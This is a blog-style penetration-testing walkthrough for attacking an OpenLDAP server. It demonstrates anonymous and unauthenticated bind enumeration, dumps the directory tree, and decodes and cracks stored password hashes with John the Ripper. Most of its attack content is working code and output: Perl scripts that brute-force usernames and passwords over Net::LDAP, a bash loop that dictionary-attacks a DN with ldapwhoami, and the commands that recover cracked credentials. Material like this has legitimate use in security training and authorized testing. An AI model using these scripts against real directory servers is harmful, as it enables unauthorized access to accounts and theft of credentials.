Today we are going to be attacking the remote service LDAP. The only thing we need is an IP Address so lets ping our host to verify its up and running.
sam@asus:~% ping -c 3 148.32.42.5 PING 148.32.42.5 (148.32.42.5) 56(84) bytes of data. 64 bytes from 148.32.42.5: icmp_seq=1 ttl=64 time=0.043 ms 64 bytes from 148.32.42.5: icmp_seq=2 ttl=64 time=0.082 ms 64 bytes from 148.32.42.5: icmp_seq=3 ttl=64 time=0.122 ms --- 148.32.42.5 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2087ms rtt min/avg/max/mdev = 0.043/0.082/0.122/0.033 ms sam@asus:~%
We first start by scanning the host with nmap to verify if port 389 is indeed open.
sam@asus:~% sudo nmap -sV -p389 148.32.42.5 Starting Nmap 7.01 ( https://nmap.org ) at 2019-01-22 10:55 MST Nmap scan report for ldap.acme.com (148.32.42.5) Host is up (0.00014s latency). PORT STATE SERVICE VERSION 389/tcp open ldap OpenLDAP 2.2.X - 2.3.X Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.81 seconds sam@asus:~%
As we can see nmap reports back to us that the is indeed open and running the LDAP service. Anonymous Bind Our next test is to see if this LDAP server is vulnerable to a NULL base or anonymous bind. We will search for all Distinguished Names (DN) in the tree.
sam@asus:~% ldapsearch -x -b "dc=acme,dc=com" "*" -h 148.32.42.5 | awk '/dn: / {print $2}' dc=acme,dc=com cn=admin,dc=acme,dc=com cn=ldapusers,dc=acme,dc=com cn=evelyn cn=sales,dc=acme,dc=com ou=direct,cn=sales,dc=acme,dc=com ou=channel,cn=sales,dc=acme,dc=com cn=support,dc=acme,dc=com cn=training,dc=acme,dc=com ou=helpdesk,cn=support,dc=acme,dc=com ou=escalation,cn=support,dc=acme,dc=com ou=instructors,cn=training,dc=acme,dc=com ou=course cn=chris cn=sam cn=justin cn=heath cn=nick cn=eric cn=tim cn=vaj sam@asus:~%
In this case anonymous bind is allowed and we are able to traverse the directory tree as we would if we were a authenticated user. We can go further by pilfering through the directory and find all the user and user names on the server.
Unauthenticated Bind Enumeration (DN with no password)
Lets try a search for all user id's in the directory subtree using the DN `cn=admin,dc=acme,dc=com` and no password.
root@asus:~% ldapsearch -x -D "cn=admin,dc=acme,dc=com" -s sub "cn=*" -h 148.32.42.5 | awk '/uid: /{print $2}' | nl 1 esampson 2 cchiu 3 skumar 4 jsmith 5 hahmad 6 nolsen 7 ealvarez 8 tmoreau 9 vpatel root@asus:~%
This what you will see if you come upon a server where unauthenticated binds are disallowed:
sam@asus:~% ldapsearch -x -D "cn=admin,dc=acme,dc=com" -s sub "cn=*" -h 148.32.42.5 ldap_bind: Server is unwilling to perform (53) additional info: unauthenticated bind (DN with no password) disallowed sam@asus:~%
Unauthenticated Binds are only allowed if Anonymous Binds are also enabled.
Authenticated Bind Enumeration
For a authenticated LDAP bind we need to crack some passwords, preferably the ldap administrators. We also need identify the authentication used such as md5 ,etc.
We can get the authentication method by using a bogus password and trying to login
sam@asus:~% ldapwhoami -h ldap.acme.com -w "abcd123" SASL/DIGEST-MD5 authentication started ldap_sasl_interactive_bind_s: Invalid credentials (49) additional info: SASL(-13): user not found: no secret in database sam@asus:~%
Dictonary attack to find valid users
We can use Perl and the Net::LDAP module to check for valid users on the remote LDAP server. The simple script below searches for valid users and returns a distinguished name if found. This will help us in our next step which is to guess passwords for the accounts we find in this search. You can get some ideas on username guessing from Enumerating UNIX usernames
#!/usr/bin/env perl use strict; use warnings; use Net::LDAP; my $server = "ldap.acme.com"; my $base = "dc=acme,dc=com"; my $filename = "users.txt"; open(my $fh, '<', $filename) or die $!; my $ldap = Net::LDAP->new($server) or die $@; while (my $word = <$fh>) { chomp($word); my $search = $ldap->search( base => $base, scope => 'sub', filter => '(&(uid='.$word.'))', attrs => ['dn'] ); print "[+] Found valid login name $word\n" if(defined($search->entry)); }
We now run the script and fuzz for users on the server
sam@asus:~/public_html% ./ldap-users.pl [+] Found valid login name twest [+] Found valid login name vpatel [+] Found valid login name hahmad [+] Found valid login name ealvarez [+] Found valid login name skumar [+] Found valid login name tmoreau [+] Found valid login name jsmith sam@asus:~/public_html%
Dictonary attack to find valid password
Once we have a valid list of users on the server, we can move forward to search for valid user and password combinations. We can use Perl and Net::LDAP to query the server and test for valid logins.
#!/usr/bin/env perl use strict; use warnings; use Net::LDAP; my $server = "ldap.acme.com"; my $user = "twest"; my $base = "dc=acme,dc=com"; my $filename = "wordlist.txt"; open(my $fh, '<', $filename) or die $!; my $ldap = Net::LDAP->new($server) or die $@; my $search = $ldap->search( base => $base, scope => 'sub', filter => '(&(uid='.$user.'))', attrs => ['dn'] ); if(defined($search->entry)) { my $user_dn = $search->entry->dn; print "[*] Searching for valid LDAP login for $user_dn...\n"; while (my $word = <$fh>) { chomp($word); my $mesg = $ldap->bind($user_dn, password => $word); if ($mesg and $mesg->code() == 0) { print "[+] Found valid login $user_dn / $word\n"; exit; } } } else { print "[x] $user is not a valid LDAP user...\n"; exit; } print "[x] No valid LDAP logins found...\n";
Running the script against the server we get the following
sam@asus:~/public_html% ./ldap-passwords.pl [*] Searching for valid LDAP login for cn=tim west,ou=channel,cn=sales,dc=acme,dc=com... [+] Found valid login cn=tim west,ou=channel,cn=sales,dc=acme,dc=com / password sam@asus:~/public_html%
Using ldapwhoami to gain access
Here is a script to test a list of passwords against a valid Distingushed Name (DN) on a remote host.
#!/usr/bin/env bash ## ## Dictonary password attack against a valid DN using ldapwhoami ## dn="cn=admin,dc=acme,dc=com" host="ldap.acme.com" list="wordlist.txt" file=$(<${list}) wordlist=(`echo $file | sed 's/ /\n/g'`) for word in "${wordlist[@]}" do ldapwhoami -h ${host} -D "${dn}" -w "${word}" 2>/dev/null if [ $? == 0 ] then echo "Password \`${word}\` found for user" fi done
if we run the shell script we should see this on success.
root@asus:~/pentest_notes% ./ldapwhoami-dictonary.sh dn:cn=admin,dc=acme,dc=com Password `ldapadmin` found for user root@asus:~/pentest_notes%
Dumping data
If we do an ldap search with our user and pass with a search filter of (objectClass=*), a dump of the whole directory tree from admin.
root@asus:~/pentest_notes% ldapsearch -D "cn=admin,dc=acme,dc=com" "(objectClass=*)" -w ldapadmin -h ldap.acme.com # extended LDIF # # LDAPv3 # base (default) with scope subtree # filter: (objectclass=*) # requesting: * # # acme.com dn: dc=acme,dc=com objectClass: top objectClass: dcObject objectClass: organization o: Acme dc: acme # admin, acme.com dn: cn=admin,dc=acme,dc=com objectClass: simpleSecurityObject objectClass: organizationalRole cn: admin description: LDAP administrator userPassword:: e1NTSEF9SW5uaE9PdFRmdENveWhPUDFTUFVnSnNMZ3ZxSVA3aUw= # ldapusers, acme.com dn: cn=ldapusers,dc=acme,dc=com ... root@asus:~/pentest_notes%
Cracking OpenLDAP Passwords
the password hashes are encoded in base64 we can easly decode the string to extract the hash
root@asus:~/pentest_notes% echo "e01ENX0wTHVBcXJ1R0diYmpVUlB3TG5KMUt3PT0=" | base64 -d {MD5}0LuAqruGGbbjURPwLnJ1Kw== root@asus:~/pentest_notes%
All these hashes can be loaded up in JTR and cracked to get shell access on the remote system.
root@asus:~/src/john/run% ./john --wordlist=/home/sam/pentest_notes/rockyou.txt /home/sam/openldap.txt Using default input encoding: UTF-8 Loaded 8 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE4.1 4x3]) Remaining 7 password hashes with no different salts Warning: no OpenMP support for this hash type, consider --fork=2 Press 'q' or Ctrl-C to abort, almost any other key for status password (hahmad) education (ealvarez) kumar (skumar) jsmith (jsmith) instructor (tmoreau) hindu (vpatel) 6g 0:00:00:04 DONE (2019-01-20 22:18) 1.360g/s 3252Kp/s 3252Kc/s 3363KC/s filimani.¡Vamos! Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably Session completed root@asus:~/src/john/run%
No comments:
Post a Comment